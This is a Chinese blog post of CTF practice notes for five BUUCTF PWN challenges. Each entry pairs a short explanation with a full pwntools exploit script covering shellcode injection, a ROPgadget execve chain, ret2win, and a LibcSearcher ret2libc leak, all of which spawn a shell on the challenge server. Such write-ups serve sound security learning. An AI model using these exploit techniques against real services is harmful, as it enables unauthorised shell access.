Buuctf 刷题笔记(PWN)(2)
Buuctf 刷题笔记(PWN)(1)
mrctf2020_shellcode
call了read 大小是400,而栈的大小是410 用汇编直接写的 没别的东西 直接 shell注入即可
exp
from pwn import * p=remote("node4.buuoj.cn",26733) #p=process("./mrctf2020_shellcode") context(arch = 'amd64', os = 'linux', log_level = 'debug') elf=ELF('./mrctf2020_shellcode') shellcode=asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
inndy_rop
这道题只有有一个简单的overflow,overflow里面return调用了一个get()
但是这道题开启了NX保护也就是“NX(DEP):数据执行防护” 那么也就没有办法进行注入shellcode+跳到该地址进行执行shell了 只能进行尝试ROP攻击(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
然后又开启了RELRO地址随机化保护 也就没有办法用retlib来做这道题
当然既然能溢出也有gadget那就行 根据网上的一种思路 直接使用ropgadget能直接出
commint:Ropgadget --binary rop --ropchain #!/usr/bin/env python2 # execve generated by ROPgadget from pwn import * from struct import pack r=process("./rop") # Padding goes here p = 'a'*0xc+'bbbb' p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += '/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += '//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 r.sendline(p) r.interactive()
picoctf_2018_buffer overflow 2
溢出跳转到win函数 然后 溢出修改a1和a2的值即可
wp
from pwn import * context(os='linux', arch='i386', log_level='debug') #p=process("./PicoCTF_2018_buffer_overflow_2") p=remote("node4.buuoj.cn",26622) payload='a'*0x70+p32(0x80485cb) a1=0xDEADBEEF a2=0xDEADC0DE payload+=p32(0)+p32(a1)+p32(a2) p.sendline(payload) p.interactive()
xdctf2015_pwn200(libcROP)
这道题提供了没有提供libc 并且开启了NX保护 所以使用licsearch+ROP的形式来解
先溢出 然后通过plt表里的write地址调用write输出got表里的write地址
然后使用libsearch模块 查询libc版本 拿到system和sh的地址 然后再构造system(/bin/sh)格式的payload即可
exp
from pwn import * from LibcSearcher import * p=process("./bof") p=remote("node4.buuoj.cn",25711) elf=ELF('./bof') context.log_level='debug' write_plt=elf.plt['write'] write_got=elf.got['write'] vuln_addr=0x80484D6 payload='a'*(0x6c+4)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4) //vuln_addr是有效返回地址 利用write 输出write的got地址 p.sendline(payload) write_addr=u32(p.recvuntil('\xf7')[-4:]) libc=LibcSearcher('write',write_addr) //找到libc版本 libc_base=write_addr-libc.dump('write')//计算libc偏移基址 system=libc_base+libc.dump('system') //拿到system和sh的偏移地址 binsh=libc_base+libc.dump('str_bin_sh') payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh) //构造shellcode payload p.sendline(payload) p.interactive()
buuctf上的level1
这道题和原来不一样了
多了hello 关键是 触发返回ret出了些问题
exp
from pwn import * context.log_level="debug" p=remote("node4.buuoj.cn",27248) ret_addr=int(p.recv()[28:36],16) log.info("ret_addr:"+str(hex(ret_addr))) shellcode=asm(shellcraft.sh()) #gdb.attach(p) payload=shellcode+'a'*(0x88+4-len(shellcode))+p32(ret_addr) p.sendline(payload) p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现